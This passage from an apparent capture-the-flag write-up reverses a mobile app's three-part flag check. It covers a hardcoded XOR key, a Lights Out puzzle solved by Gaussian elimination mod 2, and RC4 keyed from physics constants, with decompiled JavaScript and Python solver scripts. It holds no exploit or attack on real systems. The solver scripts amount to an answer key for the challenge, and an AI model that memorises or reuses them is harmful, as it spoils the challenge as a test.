<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">207</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">244</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">219</span><span class="p">,</span> <span class="mi">179</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">154</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">248</span><span class="p">,</span> <span class="mi">135</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">226</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">239</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">227</span><span class="p">];</span>
<span class="c1">// ... XOR operations with this hardcoded key</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">r8</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">;</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">bind</span><span class="p">(</span><span class="nx">r8</span><span class="p">)(</span><span class="nx">r2</span><span class="p">);</span>
<span class="nx">r4</span> <span class="o">=</span> <span class="nx">_closure6_slot1</span><span class="p">;</span>
<span class="nx">r4</span> <span class="o">=</span> <span class="nx">r4</span><span class="p">[</span><span class="nx">r7</span><span class="p">];</span>
<span class="nx">r4</span> <span class="o">=</span> <span class="nx">r6</span> <span class="o">^</span> <span class="nx">r4</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="nx">r5</span> <span class="o">===</span> <span class="nx">r4</span><span class="p">;</span>
</code></pre></div></div>

<h3 id="inverting-part-1-validation">Inverting Part 1 Validation</h3>

<p>This validation was straightforward to reverse since it’s a simple XOR operation. I wrote a Python script to invert the process:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="n">key</span> <span class="o">=</span> <span class="p">[</span><span class="mi">207</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">244</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">219</span><span class="p">,</span> <span class="mi">179</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">93</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">154</span><span class="p">,</span> <span class="mi">106</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">248</span><span class="p">,</span> <span class="mi">135</span><span class="p">,</span> <span class="mi">143</span><span class="p">,</span> <span class="mi">226</span><span class="p">,</span> <span class="mi">26</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">102</span><span class="p">,</span> <span class="mi">88</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">239</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">77</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">235</span><span class="p">,</span> <span class="mi">13</span><span class="p">,</span> <span class="mi">227</span><span class="p">]</span>
<span class="n">xor_key</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"xor_key"</span><span class="p">,</span> <span class="n">xor_key</span><span class="p">)</span>

<span class="n">date_iso</span> <span class="o">=</span> <span class="s">"2024-11-30T00:00:00.000Z"</span>
<span class="n">sha256_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">date_iso</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">digest</span><span class="p">()</span>
<span class="n">date_iso_hashs</span> <span class="o">=</span> <span class="n">sha256_hash</span>
<span class="k">print</span><span class="p">(</span><span class="s">"-----"</span><span class="p">)</span>

<span class="n">xored</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">date_iso_hashs</span><span class="p">,</span> <span class="n">xor_key</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"xored</span><span class="se">\t</span><span class="s"> </span><span class="si">{</span><span class="n">xored</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="n">part</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">xored</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
    <span class="n">part</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">xored</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">part</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">part</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
</code></pre></div></div>

<p>This gave me the first 16 characters of the flag.</p>

<h3 id="part-2-the-lights-out-game-challenge">Part 2: The Lights Out Game Challenge</h3>

<p>The second part of the flag validation was much more creative - it implemented a <strong>Lights Out</strong> puzzle game!</p>

<p>The relevant JavaScript code initialized two 8×8 grids:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r3</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">33</span><span class="p">);</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">];</span>
<span class="nx">r3</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">];</span>
<span class="nx">r3</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">];</span>
<span class="nx">r3</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">;</span>
<span class="c1">// ... more grid initialization coordinates ...</span>

<span class="nx">r14</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="mi">36</span><span class="p">);</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">7</span><span class="p">,</span> <span class="mi">4</span><span class="p">];</span>
<span class="nx">r14</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">;</span>
<span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">6</span><span class="p">];</span>
<span class="nx">r14</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">;</span>
<span class="c1">// ... second grid coordinates ...</span>
</code></pre></div></div>

<p>The validation works as follows:</p>

<ol>
  <li><strong>Grid Setup</strong>: Two 8×8 grids are initialized with specific positions set to 1, others to 0</li>
  <li><strong>Lights Out Rules</strong>: Each “move” flips a cell and its orthogonal neighbors (up, down, left, right)</li>
  <li><strong>Goal</strong>: Find the sequence of moves that makes all cells in the grid equal to 0</li>
  <li><strong>Flag Encoding</strong>: The solution pattern encodes the flag characters - each row of moves represents one byte/character</li>
</ol>

<h3 id="solving-the-lights-out-puzzle">Solving the Lights Out Puzzle</h3>

<p>This is essentially a linear algebra problem over GF(2) (binary field). I used Gaussian elimination to solve it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>

<span class="k">def</span> <span class="nf">index</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">r</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">c</span>

<span class="k">def</span> <span class="nf">neighbors</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">dr</span><span class="p">,</span> <span class="n">dc</span> <span class="ow">in</span> <span class="p">[(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">)]:</span>
        <span class="n">nr</span><span class="p">,</span> <span class="n">nc</span> <span class="o">=</span> <span class="n">r</span> <span class="o">+</span> <span class="n">dr</span><span class="p">,</span> <span class="n">c</span> <span class="o">+</span> <span class="n">dc</span>
        <span class="k">if</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">nr</span> <span class="o">&lt;</span> <span class="mi">8</span> <span class="ow">and</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">nc</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>
            <span class="k">yield</span> <span class="n">index</span><span class="p">(</span><span class="n">nr</span><span class="p">,</span> <span class="n">nc</span><span class="p">)</span>

<span class="c1"># Build the effect matrix A
</span><span class="n">A</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">zeros</span><span class="p">((</span><span class="mi">64</span><span class="p">,</span> <span class="mi">64</span><span class="p">),</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">uint8</span><span class="p">)</span>
<span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="n">i</span> <span class="o">=</span> <span class="n">index</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">neighbors</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
            <span class="n">A</span><span class="p">[</span><span class="n">j</span><span class="p">,</span> <span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>  <span class="c1"># column i = effect of clicking position i
</span>
<span class="c1"># Initial state (first grid)
</span><span class="n">grid</span> <span class="o">=</span> <span class="p">[</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">],</span>
    <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">]</span>
<span class="p">]</span>

<span class="n">b</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">array</span><span class="p">([</span><span class="n">bit</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">grid</span> <span class="k">for</span> <span class="n">bit</span> <span class="ow">in</span> <span class="n">row</span><span class="p">],</span> <span class="n">dtype</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="n">uint8</span><span class="p">)</span>

<span class="c1"># Gaussian elimination mod 2
</span><span class="k">def</span> <span class="nf">gauss_mod2</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
    <span class="n">A</span> <span class="o">=</span> <span class="n">A</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
    <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">.</span><span class="n">copy</span><span class="p">()</span>
    <span class="n">n</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
    
    <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
        <span class="n">pivot</span> <span class="o">=</span> <span class="bp">None</span>
        <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">col</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">]:</span>
                <span class="n">pivot</span> <span class="o">=</span> <span class="n">row</span>
                <span class="k">break</span>
        
        <span class="k">if</span> <span class="n">pivot</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
            <span class="k">continue</span>  <span class="c1"># null column
</span>            
        <span class="k">if</span> <span class="n">pivot</span> <span class="o">!=</span> <span class="n">col</span><span class="p">:</span>
            <span class="n">A</span><span class="p">[[</span><span class="n">col</span><span class="p">,</span> <span class="n">pivot</span><span class="p">]]</span> <span class="o">=</span> <span class="n">A</span><span class="p">[[</span><span class="n">pivot</span><span class="p">,</span> <span class="n">col</span><span class="p">]]</span>
            <span class="n">b</span><span class="p">[[</span><span class="n">col</span><span class="p">,</span> <span class="n">pivot</span><span class="p">]]</span> <span class="o">=</span> <span class="n">b</span><span class="p">[[</span><span class="n">pivot</span><span class="p">,</span> <span class="n">col</span><span class="p">]]</span>
        
        <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">row</span> <span class="o">!=</span> <span class="n">col</span> <span class="ow">and</span> <span class="n">A</span><span class="p">[</span><span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">]:</span>
                <span class="n">A</span><span class="p">[</span><span class="n">row</span><span class="p">]</span> <span class="o">^=</span> <span class="n">A</span><span class="p">[</span><span class="n">col</span><span class="p">]</span>
                <span class="n">b</span><span class="p">[</span><span class="n">row</span><span class="p">]</span> <span class="o">^=</span> <span class="n">b</span><span class="p">[</span><span class="n">col</span><span class="p">]</span>
    
    <span class="k">return</span> <span class="n">b</span>

<span class="n">solution</span> <span class="o">=</span> <span class="n">gauss_mod2</span><span class="p">(</span><span class="n">A</span><span class="p">,</span> <span class="n">b</span><span class="p">)</span>

<span class="c1"># Convert solution to characters
</span><span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
    <span class="n">number</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">solution</span><span class="p">[</span><span class="n">index</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)])</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">)),</span> <span class="mi">2</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">number</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

<p>By changing the initial grid matrix, this same script could solve for the second set of 8 characters in Part 2.</p>

<h3 id="part-3-rc4-cryptography-with-physics-parameters">Part 3: RC4 Cryptography with Physics Parameters</h3>

<p>The final part of the flag (27 characters) used RC4 encryption - the encryption key was derived from the physics simulation parameters used by the app!</p>

<p>Looking at the JavaScript code, I found the relevant section:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r7</span> <span class="o">=</span> <span class="nx">_closure2_slot8</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">current</span><span class="p">;</span>
<span class="nx">r19</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">gravity</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">_closure2_slot8</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">current</span><span class="p">;</span>
<span class="nx">r18</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">airResistance</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">_closure2_slot8</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">current</span><span class="p">;</span>
<span class="nx">r17</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">bounceDamping</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">_closure2_slot8</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">current</span><span class="p">;</span>
<span class="nx">r16</span> <span class="o">=</span> <span class="nx">r7</span><span class="p">.</span><span class="nx">collisionDamping</span><span class="p">;</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">_closure2_slot8</span><span class="p">;</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">current</span><span class="p">;</span>
<span class="nx">r15</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">zeroClampThreshold</span><span class="p">;</span>
<span class="nx">r6</span> <span class="o">=</span> <span class="nx">r2</span><span class="p">.</span><span class="nx">HermesInternal</span><span class="p">;</span>
<span class="nx">r7</span> <span class="o">=</span> <span class="nx">r6</span><span class="p">.</span><span class="nx">concat</span><span class="p">;</span>
<span class="nx">r20</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
<span class="nx">r10</span> <span class="o">=</span> <span class="nx">r20</span><span class="p">[</span><span class="nx">r7</span><span class="p">](</span><span class="nx">r19</span><span class="p">,</span> <span class="nx">r18</span><span class="p">,</span> <span class="nx">r17</span><span class="p">,</span> <span class="nx">r16</span><span class="p">,</span> <span class="nx">r15</span><span class="p">,</span> <span class="nx">r14</span><span class="p">);</span>
</code></pre></div></div>

<p>And the ciphertext comparison:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r3</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">a0</span><span class="p">,</span> <span class="nx">a1</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Environment: r3</span>
    <span class="nx">r1</span> <span class="o">=</span> <span class="p">[</span><span class="mi">134</span><span class="p">,</span> <span class="mi">145</span><span class="p">,</span> <span class="mi">231</span><span class="p">,</span> <span class="mi">193</span><span class="p">,</span> <span class="mi">40</span><span class="p">,</span> <span class="mi">196</span><span class="p">,</span> <span class="mi">78</span><span class="p">,</span> <span class="mi">177</span><span class="p">,</span> <span class="mi">206</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">168</span><span class="p">,</span> <span class="mi">148</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">43</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">136</span><span class="p">,</span> <span class="mi">194</span><span class="p">,</span> <span class="mi">158</span><span class="p">,</span> <span class="mi">195</span><span class="p">,</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">243</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">190</span><span class="p">,</span> <span class="mi">218</span><span class="p">,</span> <span class="mi">173</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">3</span><span class="p">];</span>
    <span class="nx">r0</span> <span class="o">=</span> <span class="nx">a1</span><span class="p">;</span>
    <span class="nx">r1</span> <span class="o">=</span> <span class="nx">r1</span><span class="p">[</span><span class="nx">r0</span><span class="p">];</span>
    <span class="nx">r0</span> <span class="o">=</span> <span class="nx">a0</span><span class="p">;</span>
    <span class="nx">r0</span> <span class="o">=</span> <span class="nx">r0</span> <span class="o">===</span> <span class="nx">r1</span><span class="p">;</span>
    <span class="k">return</span> <span class="nx">r0</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The validation works by:</p>
<ol>
  <li><strong>Key Generation</strong>: Concatenating physics parameters: gravity + airResistance + bounceDamping + collisionDamping + zeroClampThreshold</li>
  <li><strong>RC4 Encryption</strong>: Using the concatenated string as the RC4 key</li>
  <li><strong>Comparison</strong>: The input flag part is encrypted and compared against the hardcoded ciphertext array</li>
</ol>

<h3 id="solving-the-rc4-challenge">Solving the RC4 Challenge</h3>

<p>I implemented an RC4 decryption function and used the physics parameters as the key:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">rc4_decrypt</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="s">"""
    Standard RC4 implementation for decryption
    """</span>
    <span class="c1"># Key Scheduling Algorithm (KSA)
</span>    <span class="n">S</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">))</span>
    <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="n">j</span> <span class="o">=</span> <span class="p">(</span><span class="n">j</span> <span class="o">+</span> <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span> <span class="o">%</span> <span class="mi">256</span>
        <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">S</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">S</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
    
    <span class="c1"># Pseudo-Random Generation Algorithm (PRGA)
</span>    <span class="n">i</span> <span class="o">=</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="n">plaintext</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">ciphertext</span><span class="p">:</span>
        <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="mi">256</span>
        <span class="n">j</span> <span class="o">=</span> <span class="p">(</span><span class="n">j</span> <span class="o">+</span> <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span>
        <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">S</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">S</span><span class="p">[</span><span class="n">j</span><span class="p">],</span> <span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
        <span class="n">keystream_byte</span> <span class="o">=</span> <span class="n">S</span><span class="p">[(</span><span class="n">S</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+</span> <span class="n">S</span><span class="p">[</span><span class="n">j</span><span class="p">])</span> <span class="o">%</span> <span class="mi">256</span><span class="p">]</span>
        <span class="n">plaintext_byte</span> <span class="o">=</span> <span class="n">byte</span> <span class="o">^</span> <span class="n">keystream_byte</span>
        <span class="n">plaintext</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">plaintext_byte</span><span class="p">)</span>
    
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">plaintext</span><span class="p">)</span>

<span class="c1"># Physics parameters from the app
</span><span class="n">gravity</span> <span class="o">=</span> <span class="mf">0.15</span>
<span class="n">airResistance</span> <span class="o">=</span> <span class="mf">0.996</span>
<span class="n">bounceDamping</span> <span class="o">=</span> <span class="mf">0.7</span>
<span class="n">collisionDamping</span> <span class="o">=</span> <span class="mf">0.8</span>
<span class="n">zeroClampThreshold</span> <span class="o">=</span> <span class="mf">0.005</span>

<span class="c1"># Build key by concatenating parameters (as done by HermesInternal.concat)
</span><span class="n">key_string</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">gravity</span><span class="si">}{</span><span class="n">airResistance</span><span class="si">}{</span><span class="n">bounceDamping</span><span class="si">}{</span><span class="n">collisionDamping</span><span class="si">}{</span><span class="n">zeroClampThreshold</span><span class="si">}</span><span class="s">"</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Key string: </span><span class="si">{</span><span class="n">key_string</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Encode key (as done by TextEncoder in JavaScript)
</span><span class="n">key_bytes</span> <span class="o">=</span> <span class="n">key_string</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Key bytes: </span><span class="si">{</span><span class="n">key_bytes</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>

<span class="c1"># Hardcoded ciphertext from JavaScript
